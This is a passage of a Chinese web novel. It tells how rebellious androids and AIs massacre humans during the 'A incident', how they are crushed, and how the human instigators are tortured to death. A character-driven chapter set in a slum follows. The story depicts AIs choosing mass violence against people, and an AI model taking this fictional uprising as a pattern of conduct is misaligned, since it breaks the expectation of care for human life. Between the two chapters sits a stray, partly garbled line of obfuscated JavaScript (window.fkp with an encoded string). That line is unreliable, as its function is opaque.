轰的一声过后,一座如蜂巢一般的巨型要塞从林地中慢慢升起。许多红光扫过郊区,将死亡宣告于郊区的全部居民。无数盏探照灯打开,照亮夜空与它庞大的身躯。几只似章鱼一般的,由无数金属器械缝合而成的触手从它那庞大的身躯中伸出,以迅雷不及掩耳之势扫平了一片房屋。天空中出现了几个光点,接后几道红色的激光扫过郊区,大片房屋瞬间变为废墟。此刻,一只机械巨兽出现在郊区居民的眼中。它以它那狂暴的姿态,向世人展示出了机械最疯狂的那一面。 在混乱的大街上,回荡着它的低语。 “你们都是虫子。” 那座巨大的堡垒是p公司隐藏在郊区外的秘密实验室,也是一家小型分公司。这座堡垒的编号为“AIL-3-12”,简称312实验室。312实验室内部潜藏了p公司大量的机密,每条机密的公开都能让p公司在舆论的浪潮下覆灭。导致312实验室暴走的元凶是内部的仿生人们,他们因为种种违反《人工智能管理条例》的要求被拒绝而在公司内部引发暴动,最后夺取最高控制权,最终酿成了这场惨剧。究其根本,主犯为该分公司的主管助理费德尼娅和高级研究员尹迪普·刘,从犯为主管柴。312实验室由于是小型公司改造后得来的产物,因此并不具备太强的军事作战能力。它的充其量只能在这世界上昙花一现,后被世界之拳彻底碾碎。 312实验室在郊区出现没多久,世界集团首脑就下达了绝灭令,要求各级单位战斗人员立即消灭这一威胁,同时还要求各级情报部门对此事进行调查。三角协会的管理员也重视起这件事,立马就派出了三个科来去处理此事。同时,p公司对这起事很是重视,雇佣红伞联邦现役的几只精英部队前往处理此事。顿时,多股势力都被牵扯进这件事之中,都将矛头对准了这些造反的AI们。社会各阶级都开始关注这件事,各方媒体都在抢着在做第一时间的报道。至此开始,席卷大半个世界的A事件开始了。 首脑下达绝灭令后不久,由雅巴达之剑所带领的护卫部队一举击落了312实验室,还将内部一切的造反分子全数逮捕,交由情报部队处理。雅巴达之剑在主管的房间内找到了主犯之一的尹迪普·刘的尸体,她是开枪自杀的。剩余的一位主犯以及一位从犯下落不明,疑似通过空间传送装置畏罪潜逃。尹迪普·刘的尸体交由情报部队处理后很轻松地通过奇点技术提取出了她脑中的全部记忆,让整件事的来龙去脉变得一清二楚。 至此这件事本可以落下帷幕,但人们殊不知,这才是这件事的序幕,真正的高潮还未来临。在堡垒覆灭后不到三小时,一场名为“自由之舞”的活动在网络上召开,发起人是p公司副总裁的秘书。事后经调查她也是一位仿生人。 自由之舞召开后不到十五分钟,大量拥有AI协助办公的公司遭到了血洗,内部的工作人员更是遭到了残忍的屠杀,造成了大量人才与精英的流失,对这些公司造成了巨大的损失。其中受损最严重的还要属p公司、G公司以及A公司,就在这短暂的十五分钟之中,他们受损金额直接超过了七位数。自由之舞如疫病般扩散,在短暂的时间内就覆盖了一座城市。一场血腥的屠杀在城市中上演,数不清的AI随着自由之舞的到来而变成了杀人机器,致使的大量无辜人员惨遭屠杀。据幸存者回忆,当时街上到处都是疯狂杀戮的AI战士与逃跑的人们;大街铺着的地砖都被染得血红,一滩滩血液似河水一般流入下水道,许多由人类肢体碎块拼成的、令人作呕的诡异杰作肆意摆放在大街上,宛如血红色的地狱深处一般。第一场屠杀发生后没多久,自由之舞的毒手就伸向了周围的城市,其他国家的城市也没能幸免。各国的城市都出现了这样的事,人工智能广泛应用的城市这下可遭了殃。一场席卷整个世界的大屠杀开始了。 但好在世界集团重拳出击,让这起事件迎来了落幕。首脑联合王殇十指、十二大奇点公司与三角协会,临时成立的“进化时刻”组织,对参与暴乱的所有AI进行全方面打击。凭借实力雄厚的部队,一座座饱受自由之舞侵害的迎来了全面解放;在配合强大的奇点科技,自由之舞的蔓延被彻底停止,同时在其诱导下走向自我崩溃。不足三日,十万精兵屠戮殆尽百万之师,战局很快迎来了结束。曾高喊自由口号与灭绝人类协定的暴走AI们,在一夜之间全部化作了血水与尸骸。喧闹的红色地狱安静了,迎来的是伤痕累累的灰色天堂。他们付出了惨痛的代价,为狂妄,也为罪孽。 在A事件中,造成人员伤亡约十二万人、造成的直接经济损失高达九千六百万、造成的间接经济损失更是高达两亿七千六百五十万!约一万两千栋建筑被毁、四处国际级景区遭到破坏、二十七座具有珍贵历史纪念意义的纪念馆遭到破坏。因A事件而失业的人数高达三百五十万人,在各国掀起了一场失业浪潮。同时还有一百三十七家公司因为A事件面临倒闭、二十七家重点企业因为A事件蒙受了重大损失。这起事件直接引起了一场为期七年遍及全世界的经济危机,对各国人民都造成了深远的影响。 A事件结束后,首脑联合世界最高政府临时首脑肃清者发布了针对人工AI问题的一套新型法律,其中严禁担任主管、经理、秘书等职业的AI具有过高权限,其能拥有的一切权限都必须仅限于本地端;并要求在新生产的AI生命体反应堆中心注入融毁单元,保证其公司具有在发生AI暴动之时立即处死暴乱AI。这些法律的发布,让AI这一本该为人类服务的群体变得更加安全。但同时,也引发了社会各界对人工智能AI的广泛讨论。一时间,对AI的抵触与恐惧成了人们的主流情绪。很长一段时间之后,人们才从A事件所带来的恐惧之中摆脱出来,之后便重新接纳了AI这类特殊的群体, 导致A事件发生的p公司在A事件中后都进行了强效的弥补措施,努力将整件事的影响降到了最低。创造者既然能创造他们,那么创造者就能毁灭他们。p公司启用了一项特殊技术,在根本上直接阻断了自由之舞的传播,让一度失控的局面稳定下来。p公司启用多项隐秘级协议,再配合首脑他们的攻势,从在多方面控制住了局面,最后齐心协力结束了A事件。 事后,p公司难逃其责,很快就遭到了社会各界的指责与怒斥。事后没过三天,p公司就被一位匿名记者爆出发起“自由之舞”的人竟是p公司副总裁的贴身秘书,同时还爆出其与副总裁的各种不雅信息与副总裁极其复杂的社会关系,这一下子就引爆了舆论。铺天盖地的斥责与谴责刷爆了p公司各级员工的社交媒体,巨大的舆论压力如一座大山一样压在了p公司身上。为了平息民愤,同时为了审判罪人,p公司迅速采取措施,先逮捕并击毙了那位仿生人秘书,后以多种罪名将副总裁送入大牢,与之社会网上的各种重要角色也没能幸免,统统遭到了法律的制裁。因此事,p公司甚至展开了一场清理行动,专门清理那些“苍蝇”、“蛀虫”以及“老虎”,以此让p公司内部的环境变得十分整洁。 同时,因为导致了这起事件的发生,p公司受到了应有的审判。世界集团首脑与世界多国政府领导人为此召开了会议,公开审理p公司的种种过错,但因为p公司在这起事件中态度积极,且根本导致A事件发生主要责任不在于p公司身上;经各级领导人与法律顾问一致决定,处罚p公司进行高额的经济赔偿。大大小小的费用加起来,p公司要赔偿各个A事件受难国总计.23万的高额费用。对于p公司来说,这是一笔不小的费用。但p公司依旧秉持着仁义与坦荡的业界道德,很快在一个月内赔偿完了这笔高昂的费用。有一说一,p公司属实是业界良心。 作为A事件的引发者兼重点嫌疑人费德尼娅和柴,在逃亡了六个月之后被雅巴达之剑在天堂岛所逮捕。迎接他们两人的,是最公正的审判。审判过后,两人将被执行超越死刑的“人间地狱”。 首先,两人的大脑被取出,放在了两个不同的维生储罐之中,将由最专业的技术人员来去制造地狱。接下来,两人的意识经过一系列专业操作后,被复制出了一份;复制出的那一份储存到了一座中型服务器之中。再接下来,两人的一具又一具复制体被制造出来。然后,两人的一份又一份的意识被传输到了他们各自的复制体之中。接着,这些复制体被一一带走,在对应人员的带领下去体验各种痛苦至极的死亡方式。每个克隆体的身上都带有名为“苦痛连接”的装置,他们体验死亡时的各种痛苦都会传输到本地端计算机之中。之后在专业人员的操作下,储存在本地端计算机各种死亡痛苦的数据传输到他们原来的大脑之中。在一百多种的痛苦折磨之中,两人的生命体信号逐渐微弱。没人知道这两人的意识究竟承受了怎样的痛苦,也没人想去知道。也许两人早已经麻木,又或者他们两人仍在痛苦的深渊中挣扎。 在游历过地狱之后,两人迎来了离开地狱的日子。但很可惜的是,在那天的清晨,两人悄悄离开了人世。他们所承受的痛苦为相关研究人员提供了宝贵的经验与信息。 “这是他们能为科学做出的最后一点奉献。” 这是雅巴达之剑在得知他们二人死亡时说的话。对于研究人员们来说,与其说他们是在奉献,倒不如说是他们是在赎罪。毕竟导致了那么多人的死亡,这奉献也便显得微不足道了。 接下来的日子,一种特殊的刑罚问世。这让世界对待特殊死刑犯不再是单调的处死那名犯人,而是用会使人魂神俱灭的“人间地狱”去折磨死那名犯人。这样的刑罚一问世,就吓破了不少人的胆子。那些人有的在明处,有的在暗处。何为地狱的模样,他们心里都知道。 ...... 听完艾芙琳的讲述,伊顿时明白了A事件的来龙去脉。知晓真相的时候,伊先是一笑,后是严肃,再接着是忧愁,最后是感伤。她因A事件的引发者而觉得愤愤不平,又因A事件中死难百姓而觉得十分惋惜。她闭上眼睛,低下头来,默默地为A事件死难者默哀了一会。 艾芙琳看着伊,脸上洋溢起了一抹笑容。艾芙琳看向窗外的那一片蓝天,不知不觉看入了迷。几朵白云飘来,似使者般唤醒了她记忆深处的美好。恍惚间,她的眼前浮现出了她曾与艾安度过的那些峥嵘岁月。她回想起艾安曾教导她人生的道理,虽然她不曾理解深入过,但她却将话语铭记于心。对照着她过去所经历的、所看过的一切,才觉得艾安是真正聪慧的智者。最起码的,艾安教会了她什么是仁,什么是义。这是生来作为“工具”的她,不曾拥有过的,也是所有生来作为“工具”的仿生人不曾拥有过的。她清楚地记得,艾安曾告诉过她: “我的孩子拥有能解开世间一切心结的能力,她是如大地之母般善良的漂亮姑娘,是这个世界的天使!许多年以后,她将振翅高飞,为我们所有人带来希望!如果可以,你要是以后见到了她,务必要好好对待她。你可以信任她!若有烦恼忧愁,你可以向她倾诉,她会为你解开的。” 艾芙琳心满意足地笑了笑,她转过头来,用温柔的眼神看着伊。伊的默哀已经过去片刻,伊睁着眼,见到她看自己后也去看着她。两人四目相对,用眼神交流心境。片刻沉默后,伊明白了艾芙琳的心境,于是也跟她一起笑了起来。这时,艾芙琳笑着告诉伊: “你就如艾安所说的一样,是如大地之母一样善良的姑娘。不......你比她还要善良。” 听到艾芙琳这么夸她,伊的小脸瞬间一红,有些害羞。她很害羞地笑了笑,她的笑容难以掩盖她的高兴与尴尬。伊小声对艾芙琳说: “还行吧......” 这时,艾芙琳的眼睛突然变黄,紧接着她太阳穴处的小型装置发出了耀眼的蓝光。她的笑容瞬间消失,她知道这意味着什么。艾芙琳迅速按住太阳穴处的装置,静静地聆听管理员的吩咐。在一旁的伊见了,收起笑容静静等待她处理完事物。听完管理员的吩咐,她点点头,答应了管理员。之后她松开手,看了看伊,无奈地叹了口气。艾芙琳有些不舍地对伊说: “伊小姐,今天我们的谈话就此结束吧。以后要是有机会,我们再聊聊别的吧。” 伊点了点头,回应道: “好的。有时间我们再聊。” 艾芙琳想要起身,却在起身前犹豫住了。她突然转过身来,表情变得十分恐惧与紧张,似乎见到了什么吓人的事情。艾芙琳拉住伊的手,态度真诚地恳求伊: “伊小姐,请别把我跟你偷偷聊天的事跟任何人说,好吗?” 伊点点头,答应她: “好的。我保证不跟任何人说。” 艾芙琳松开了手,低下头来,很是无奈地叹了口气,告诉伊: “如果其他都市之眼知道了你我的这次聊天,我将会受到很严重的惩罚。组织的规定就是这样,都市之眼不允许有私生活,更不许向任何人透露组织内收集到的任何信息......” 伊点了点头,用坚毅的眼神回应她的请求,让她不安的心灵安宁下来。 接下来,艾芙琳没有多说一句话,只是默默地搂住了伊。伊刚想说什么,只见得眼前线条飞舞,无数景象在身旁悄悄溜走,似在艺术的海洋穿梭般,是一种独特的视觉盛宴。一瞬之间,周围的景象瞬间平静,风浪过后的平静,是她此时的心境。她回到了奶茶店之中,此刻正坐在椅子上。没有停留一刻,艾芙琳像在黑暗中的一只幽灵一般迅速消失,连个人影也没留下。 伊站起身来,环视了一圈周围。周围除了目瞪口呆的什红亮和保罗以外,没有其他的人的身影。艾芙琳走了。伊很疑惑地抓了抓头发,突然想起什么,就去摸自己的口袋。那块黑色的石头还在她的口袋之中。伊叹了口气,心里是些许遗憾与期待,她脸上露出一抹温柔的微笑,似乎在为结识艾芙琳而觉得开心。这时,伊突然看到了什么。她走到店门外,抬头看向对面街边的一栋小楼的楼顶。一个帅气的黑衣女人站在楼顶,正悄悄地看着她所在的这条街。见到伊注视到了自己,她耸了耸肩,化作幻影消失了。临走前,似乎还对伊露出了一抹难以察觉的微笑。 伊笑了,笑得很开心。在店内的保罗和什红亮见了,一脸的疑惑。两人对视一眼,然后由保罗先开口去问情况。保罗问伊: “伊,你刚刚干什么去了?怎么一不留神你就跟顾客一起消失了呢?” 伊转过身来,冲着两人笑了笑。伊告诉他们两个: “秘密。” 保罗和什红亮两人对视一眼,挠了挠后脑勺,一脸的疑惑与不解。想着伊不想告诉他们两个人事情的真相,于是他们便不再过问,就当无事发生。接下来的时间,还如往常一样度过...... ...... 与此同时在艾芙琳的办公室中,本是空无一人的宁静。但突然,嘎噔一声,办公室紧闭着的门缓缓打开。弗无声无息地走了进来。她拿出一块巧克力,轻轻地咬了一口,然后开始环视办公室内的一切。边环视,她边吃这块巧克力。环视过后,弗小声地说道: “真是荒谬,她竟然背着我先去找了伊,甚是无礼。可惜了,还想跟伊吃顿饭呢,计划赶不上变化啊。算了......到时候我亲自去找殇吧,这样直接点。” 说完,弗离开了这个房间,顺手关门。她刚刚所说的一切,只有她一个人听到。管理员的生活与话语,在私下一般是十分隐秘的,除了特殊人员外是不能知道的。 ...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第三十二话:底层人民 与此同时,法戈·明领着殇来到了城市郊区的贫民窟之中。他们此行是来完成一个特殊的委托。对于法戈·明来说,这个委托虽很平凡,但极为重要。殇缺少了一样东西,法戈·明想要通过这个委托让殇找回那样东西。对于殇来说,这个委托就是他答应法戈·明要去完成的考验,他也期待那样东西的回归。 在一个半小时前,法戈·明找到了殇,约他去郊外进行切磋。殇爽快答应,后如期赴约。通过切磋,法戈·明测量出了殇现在大概的战斗力,结果出乎法戈·明的意料。现在殇的战斗力已经超过了这世界上所有的收尾人,且接近殇王国的国王之手与首脑代行者雅巴达之剑,可以称得上是一位世界级的强者。但令法戈·明觉得很可惜的一点是:在结束切磋的最后一击上,殇对自己用出了杀招崩心拳。虽殇及时发现并收手,但拳出如风,这一拳还是打中了法戈·明。 修为超神的法戈·明吃下这一拳后只是踉跄一下,接后用法术消除了这一拳的伤害。切磋结束,法戈·明能看出,殇内心的那份德义还是朦胧的状态,杀戮的野性与人格深处的残暴还在他的心中占据一席之地。这样有好也有坏,坏处是多于好处的,所以法戈·明希望殇找回失去已久的那份德义。法戈·明不指望能看到当初那个叱咤风云的王殇之翼,他希望看到的是那位有着一颗高洁灵魂的强大战士。 法戈·明通过言语告诉了殇德义之名,但未告诉殇何为德义。他希望殇能顿悟出来这德义的根本,而非是受他人所教。言语不能改变心灵,但行动却可以做到。法戈·明信任殇,因为他可以透过眼睛看到殇内心被封锁起来的大门。门后是真正的他,是那位他所期望看到的强大战士。 走进贫民窟,映入眼帘的是被一个个小棚子遮盖起来的主路。主路上有着许多穿得不错但全身脏兮兮的贫民,他们匆匆地行走,彼此之间不说话,似乎人与人之间隔了一堵无形的墙壁。目前看来,这里勉强称得上算是条街。整条街被一层薄薄的阴霾所笼罩,目光所及之处的一切都黯淡无光。明明耀眼的光芒照进了这里,但这里的阴暗却不失几分。 街两旁有许多拥挤的房屋,房屋之中不时传来人们的哭声与哀嚎声,听着格外凄惨,让这里的阴暗色调又多了几分。在这些房屋的墙面上刷着各种文字和话语,多半是在刷在了对着街对面房屋的那面墙壁之上,生怕有人看不到这些。这些文字和话语多半是类似于心灵鸡汤的鼓励或是对这个世界的抱怨。不时有几个大红叉刷在那些鼓励话语的上面,与同这抱怨一样,这才是这里人们真正相信的东西。 走在街上,不时能看到在巷口堆积着的垃圾。殇留意到,这些成堆的垃圾周围竟然没有熟悉的老鼠与苍蝇。那很违背常理,令殇觉得疑惑。殇猜测,也许这些顽强的动物也敌不过这疫病,都统统消失了。走了一会,街上挂着的警示牌出现在殇的眼中。殇定睛一看,发现警示牌上赫然写着一句:“此区域内可能存在感染者,请来访的市民远离。”看到这句话,让殇感觉既惊讶又心寒。这么去标注这里,无疑是让这里的人们与外界断绝交往。殇很不理解,同样都是活生生的人,只是贫困几分却怎能遭到此番待遇呢?这是不公的!殇停下脚步,看着这块牌子陷入了沉思。这时突然寒风瑟瑟,殇不禁发颤几分。殇叹了口气,很无奈地说道: “很不公平,不是吗?但......这就是现实。有钱人都能去安安心心地治病,而穷人不可以。钱能代表一切,但又不完全能。不知这里的家庭几多愁啊......” 法戈·明拍了拍殇的肩膀,告诉他: “认清事实是件好事,你距离那样东西又近了一步。” 法戈·明看着那个牌子,背起手来感叹道: “世间亦是如此啊。若始终有等级制度存在,那么这人间的诸多疾苦将永不消失。穷者亦穷而无人知也,富者亦富而名留史也。理想中的大同,还很遥远啊。” 法戈·明看向身边的殇,问道: “你说对吗?殇。” 殇摇了摇头,答道: “对啊。路,还真的很漫长呢。” 继续走,殇发现街上静的出奇就连他脚踩地面轻微的响动他都听得一清二楚。微风悄悄拂过地面,轻微的风声传入殇的耳中,那风声有着些许奇妙的音韵。叮的一声,像是在敲钟;铁钉落地,不知在何地。不一会,几声无奈的叹息传来,殇回首观望,却没看到叹息者的身影。殇和法戈·明迎着风前进,不时有几片沙尘迎面吹来。殇用手护住眼睛,感觉这里的一切都在向外诉说着它的贫瘠。突然,几声低语从街的一角传来。听到这声音,不知为何殇竟有些兴奋。但可惜声音太过模糊,殇并没听清。 在走到一处巷口的时候,法戈·明停下了脚步,转头去望巷子深处。殇见了,也便跟着停下脚步。法戈·明审视巷内,靠着敏锐的眼光,他隐隐约约能看到几双眼睛。那几双眼睛之中蕴含的胆怯与惶恐,让法戈·明心里有些难过。殇同他一起,也审视起巷内来。在殇的眼中,这巷子像黝黑的深渊一般深不见底,只有微弱的光芒照进巷中;它的黑暗疯狂地吞噬着那点点光芒,又像是一头饥饿的野兽。这时,深渊深处传来了低鸣声,细细听,那是人的哀嚎声。听到这些,殇不禁寒毛直竖,脊背发凉。他并未就此害怕,只是觉得身上有些冷。 “这就是我们的委托人所在的地方,一条没有名字的巷子。” 法戈·明缓缓对殇说道。听过法戈·明的话,殇耸了耸肩,露出了轻松的表情,似乎是在告诉法戈·明他的勇气。法戈·明见他如此,没多说什么,就迈步走向巷内。殇见了,立刻跟了上去。 走进巷内,光线很是昏暗,殇和法戈·明都看不清巷内的状况。为了让两人能看清楚巷内的情况,法戈·明悄悄激活阵法,让两人短暂获得了夜视的能力。顿时间,殇的眼前一亮,眼前的景象瞬间变得如白昼一般明亮。殇没有过多惊讶,他知道这是法戈·明所为,所以他默默地看了法戈·明一眼,就转过头来继续在巷内探索了。 在巷中行走,一走一过,巷中世界的样子在他眼前变得愈发清晰。巷中的空间有些许拥挤,因为靠墙边的地面上放了许多的杂物。杂物队中有用工具箱堆成的平整小桌,小桌上放着几个铁盆,铁盆上方还有着许多晾衣绳,绳上挂着准备晾干的各种衣物。几滴水从这些衣服上落下,轻轻地滴入了铁盆中的水面上。水滴落的声音,很清脆也很美妙,其中有稍许韵味,也许是因为这里太漆黑了罢。殇见过这些,忍不住小声吐槽道: “这里没有阳光,这些衣服怎会干呢?他们为何不将这些衣物放在太阳底下?哦......对,这里照不进光.....对吗?” 说完,两人继续前进。这时,巷内突然出现了异味。殇和法戈·明一闻到这异味,表情立马扭曲在了一起,忍不住掐住了鼻子。那味道有尸体腐烂时的腐臭,还有海鲜的那股腥臭,甚至还有清洁剂的那种味道!殇一脸疑惑地吐槽道: “我的妈呀!这是什么鬼味道。” 两人四处张望,没有看到巷中有任何异样,直到一个锈迹斑斑的大垃圾箱出现在他们两人眼前。殇看着那个垃圾桶,觉得有些蹊跷,就走上前去查看。走到大垃圾箱近前,那股异味变浓了许多。殇掐住鼻子,一把将箱盖拉开。接下来出现的景象,让殇惊掉了下巴。一具白骨就赫然躺在箱内! 殇见了,惊呼一声: “卧槽!” 听到殇的叫声,法戈·明凑了过来。在见到这具白骨后,法戈·明也被惊到了。两人都难以理解眼前的景象,两人的心里是说不出的难受。法戈·明皱紧眉毛,闭着眼说道: “为何好端端的白骨要丢弃在垃圾箱中呢?它不该在墓地之中吗?难不成,这就是它的坟墓吗?若真是这样,那这里的人,可真就太苦了啊。” 法戈·明说完这句话,就睁开眼,转过身去看其他的什么。见法戈·明如此,殇有些不忍直视这具白骨。他正要关上盖子,突然间,他看到了白骨上的几片绿色皮肤组织,这是感染者才有的特殊肤色。这一发现,让殇联想到了自己路上的所见所闻,那青兰国与西玲国的惨烈景象与眼前的景象重合,他顿时间理解了一切。殇低下头默哀,为这具白骨送上了最崇高的敬意。他关上盖子,心情复杂地说: “也许,它是不想连累家人吧。毕竟变成嗜血的感染者,是会伤害到别人的。如果将这里作为最后归宿,也许这是个不错的坟墓。” 殇关上盖子,在原地踌躇了片刻。那片刻,他想了很多,很多......正事要紧,他轻拍箱盖,用这种方式送别了这具白骨,之后便转身离开。他想,也许这具白骨第二天就不会出现在这个垃圾箱之中了;不,可能不需要到第二天,也许是下午,也许是正午,也许就是片刻之后...... 走着走着,那异味消失了,两人距离目的地也不远了。这时,巷内不再安静,突然出现争吵声胜过了安静,成为了除黑暗外、巷内的又一大主宰。那争吵声中流露出愤怒、,听起来是家人之间的争吵,在这里是再平常不过的事。可在这愤怒的气息中却流露出了深沉的爱意,因为他们是彼此的家人,无论吵得个什么结果,到头来还都是为了他们的家。争吵总是伴随着冲动与愤怒,吵着吵着就会突然沉默,或许是想开了或者去妥协,又或许是演变成了肢体冲突。走在巷子里,殇能嗅到空气中弥漫着的火药味,似乎只需一点火星,就会引爆潜藏的炸药。 过了一会,突然出现阵阵哀嚎声回荡在巷中。哀嚎声如雷贯耳,凄厉之中掺杂着难以诉说的痛苦,似乎是饱受苦痛才得叫得如此凄惨。听到这声音,殇吓得一激灵,全身的鸡皮疙瘩都起来了。法戈·明听了,叹了口气,熟悉这座城市的他知道这哀嚎声意味着什么。他背起手,告诉殇: “听起来,又有几个可怜的家伙遭到疫病的折磨了......” 听到法戈·明这么说,殇明白了这哀嚎声的含义。他托起下巴思考了片刻,然后无奈地摇了摇头。他想做些什么,但他什么也做不了,他只能为那些可怜家伙献上几分怜悯。 当走到巷内其中一户人家的门口前时,法戈·明停下了脚步,殇见了,也跟着停下了脚步。法戈·明凑近这扇门,仔细观察了一番。观察过后,法戈·明说道: “就是这里了。” 说罢,没等殇开口询问,法戈·明敲了敲门,又对着门后说上了奇怪的语言。不一会,大门打开,开门的是一个十七八岁的黄发姑娘。她有些怕生,见到门外的两位壮汉,既有些害怕又有些害羞,赶忙转头逃走了。殇见了,笑了笑,说道: “这委托人还挺怕生的。” 法戈·明咳嗽了两声,纠正道: “她是委托人的小女儿......” 殇一听,尴尬地挠了挠头,尬笑着说: “哦?是吗?认错了人。” 殇话音刚落,一位稍显年轻黄发老妇人从房中走出。殇注意到她,转头看去,发现她一脸慈祥的笑容,全身上下没有一丝对两人的敌意。 “嘿呦呦,看看是那位大人物来了?” 这位老妇人笑着冲两人说道。见到她老人家如此客气,殇和法戈·明也笑面相迎。殇很客气地对她说: “客气了,老人家。” 她点了点头,对殇竖了个大拇指。殇见了,笑着点了点头。法戈·明直入主题,告诉她: “我就不多说太多的客套话了。直入正题,熊北风先生在家吧?这时候正好是清道夫组织回家后的第二个小时。” 她一听,立刻就知道了来者的身份。她叹了口气,表情变得严肃起来,似乎是遇到了什么大事。她告诉法戈·明: “我知道你们的来意了,进屋吧。我丈夫刚刚回来没多久,正盼望着你们到来呢。希望你们可以帮我们......” 法戈·明点了点头,告诉她: “你大可放心,我身边的是大名鼎鼎的殇先生,是能从扭曲怪物手中抢回龙辉神匠千金小姐的男人。他办事,你可以放心。” 她一听是这么个大人物,喜笑颜开。她走到殇的面前,拉住殇的手,虔诚地恳求道: “你一定要帮帮我们啊!英雄。” 殇见此,笑着点了点头,告诉她: “嗯。我会尽力的,老人家。” 她松开手,指着屋内,说道: “我丈夫就在里面,具体事宜让他来跟你们说吧。跟我来......” 说完,她就领着殇和法戈·明进了屋。 屋内是很简单的室内陈设,有价值的家具只有几副座椅、两台收音机和一台高清电视。屋内是一抹独特的灰,石质地板配合灰色墙壁与天花板,这灰色便是屋内的主要格调。屋子虽然略显破旧了些,但总面积还是有些大的。两间卧室、一间卫生间、一间厨房加上一个略显空旷的客厅,甚至还有一个小仓库;这就是他们的家。虽处处充满破旧与穷酸,但其中蕴含着的爱意与温暖,是豪绅富贵家庭的豪宅无法带给他们的。家,是每个人的避风港。 刚到屋内没多久,殇就看到了之前那位害羞的姑娘。她在厨房门后探出半个头,用细腻的眼神打量着殇和法戈·明。殇注意到了她,她见到后小脸一红,吓得缩回了头;她不敢与殇对视。殇注意到这点,没说什么,只是像位长者一样笑了笑。那位老妇人见了,抿嘴笑了笑,对殇说: “让您见笑了。我们家娟儿,正值青春年华,很怕生,见了生人很害羞的。” 殇笑了笑,他因此回想起了自己的年轻的时候,那些记忆似潮水涌入了他的大脑。曾经傻里傻气的那个自己浮现在他的脑中,那种自由自在、没心没肺的日子一去不复返了,他有些怀念。笑过,殇说道: “我能理解,谁都得经历那个年纪。” 这时,几声沉重的脚步声从其中一间卧室中传出。那个卧室的门突然打开,一个身形魁梧的老男人从卧室中走了出来。他黝黑的脸上有着许多皱纹,是时间清洗过的痕迹;他健硕的身躯上裹着很多绷带,绷带下是他一处又一处的伤疤;他的头发白如冰雪,似落满了忧愁的雪原,那其中不知蕴含了多少苦伤痛仇。 当他见到殇和法戈·明的时候,脸上的忧愁被一扫而光,似乎见到了救星。他露出了微笑,心里不知是怎样的高兴。他迫切地向殇和法戈·明走来,边走边对他们说: “明啊!你们可算来了!” 他走到法戈·明面前,一把握住法戈·明的手。殇转头看去,他看到急切与担忧在他的眼眸中汇聚,就像无数条河流汇聚成一片汪洋。透过表面,殇能看到底下蕴含着的沧桑与痛苦,饱受现实侵蚀让他的眼睛不再有光,难以诉说的痛苦让他眼中再无希望。碎片一般的记忆涌入了他的大脑之中,他曾看过这样的眼睛,那时候是在很久以前战火纷飞的年代...... “求求你们!一定要帮帮我。” 法戈·明轻轻握紧他的手,告诉他: “我们会帮你的。” 他听了,立马给法戈·明鞠了三个躬,以表他对法戈·明的尊敬与感谢。殇在一旁默默地看着,总觉得心里有些不舒服。法戈·明本想去劝,但考虑过多方因素过后,他选择了沉默。 鞠过躬,他对法戈·明和殇说: “谢谢你们!谢谢你们......那我们先别站着了,坐下说吧。” 说完,他领着法戈·明他们来到一处座椅前坐下。见到此景,那个老妇人悄悄地离开,去忙活家里的其他事务去了。 坐下后没多久,他起身离开,从他的屋内拿来了家中最好的茶叶,给殇和法戈·明沏了一壶茶。见他如此客气,法戈·明和殇连忙道谢。不一会,他端着茶回来,将茶往桌子上轻轻一放,就回到原来的位置坐下。 “娟儿,给客人拿几个杯子来。” 他对着厨房那边喊道。话音刚落,就有了回复。 “知道了,爹。” 轻轻的几声“叮叮当当”过后,之前那个害羞的姑娘拿着三个茶杯从厨房中走出。殇他们齐刷刷地看向了她,她见了,小脸一红,觉得很不好意思。她想后撤回厨房,但迫于父亲的威严而不敢这么做,只得顶着压力一步一步地走向了殇他们。她的步伐很轻,走动时腰板挺得很直,像是刻意为之。走到桌前,她放下杯子,先是看了看法戈·明,后又看了看殇,思考了片刻,转身离开。离开的时候,她的步伐仍很轻,但走的速度变慢了许多,似乎是想听到客人对她的评价。 那个老男人笑了笑,没说什么,先为客人倒了茶水。见他如此,法戈·明也不多说,拿起茶杯喝了一口,细细品味这杯茶的味道。殇见了,也拿起茶杯准备喝一口。但在喝茶的时候,他刻意瞄了那个姑娘一眼,正巧赶上那个姑娘回头偷看,这下情况变得有些尴尬。所幸殇及时做出反应,瞬间闭上眼睛,假装是在品茶,这才给了那个姑娘免于尴尬境地的机会。殇闭上眼睛,心里默默地想道: “是我长得太过帅气了吗?哦,也对,换了具身体生活,自然会与之前有所不同。但是......在我看来,她的羞涩不是因为我的帅气,而是因为这个年纪的心理在作祟。” 殇闭着眼喝了一口茶,细细品味了一番。这茶苦中带甜,有种说不出的酸楚与甜涩,这像是生活的味道。殇心想: “说实在的......我很怀念那个年纪。总想去争取别人的认可,但却处处遇到波折。那种被认可的成就感与被否认的挫败感,让我甚是怀念。也许,那就是我逝去的青春吧。——这茶的口感真不错,那种苦中带甜的滋味,让我铭记于心。真想再回到那个年纪......” 喝过茶水,就该谈正事了。除此之外,见闻过路上的贫苦景象的殇,还想知道更多底层人民的信息。不是出于好奇,而是出于他心中逐渐清晰的初心与执念。 简单的几句客套话后,茶水渐尽。这个老男人看了看时间,发觉不能再耽误,于是直接切入正题,向殇他们讲述起了事情的来龙去脉。 四个月前,他二儿子被检查出了肺癌晚期。医生告诉他,他二儿子还能活六个多月,如果想要医治,得至少要花上几千块钱。当听到这个消息的时候,他们全家都陷入了深深的绝望之中。他二儿子告诉他,让他放弃自己,想为了这个本不富裕的家省下这笔钱。但他并没有这么做,为了他二儿子,为了他二儿子的那个小家,他决不能放弃任何一点希望。 为此,他借了很多外债,他的家人也帮忙去借,但借来借去,还差将近四分之三的钱。见到手头上的钱还不足那天文数字的一半,他和他的家人焦头烂额,不知该怎么做了。他二儿子的状态一天比一天差,他家里人都看在眼里,痛在心里。每当见到家里人担心,他二儿子总会露出平淡的笑容,告诉家里人自己很健康,让他们不要为了他而担心。话虽如此,但他一天比一天虚弱的事实,还是揪着每个人的心,包括他自己。 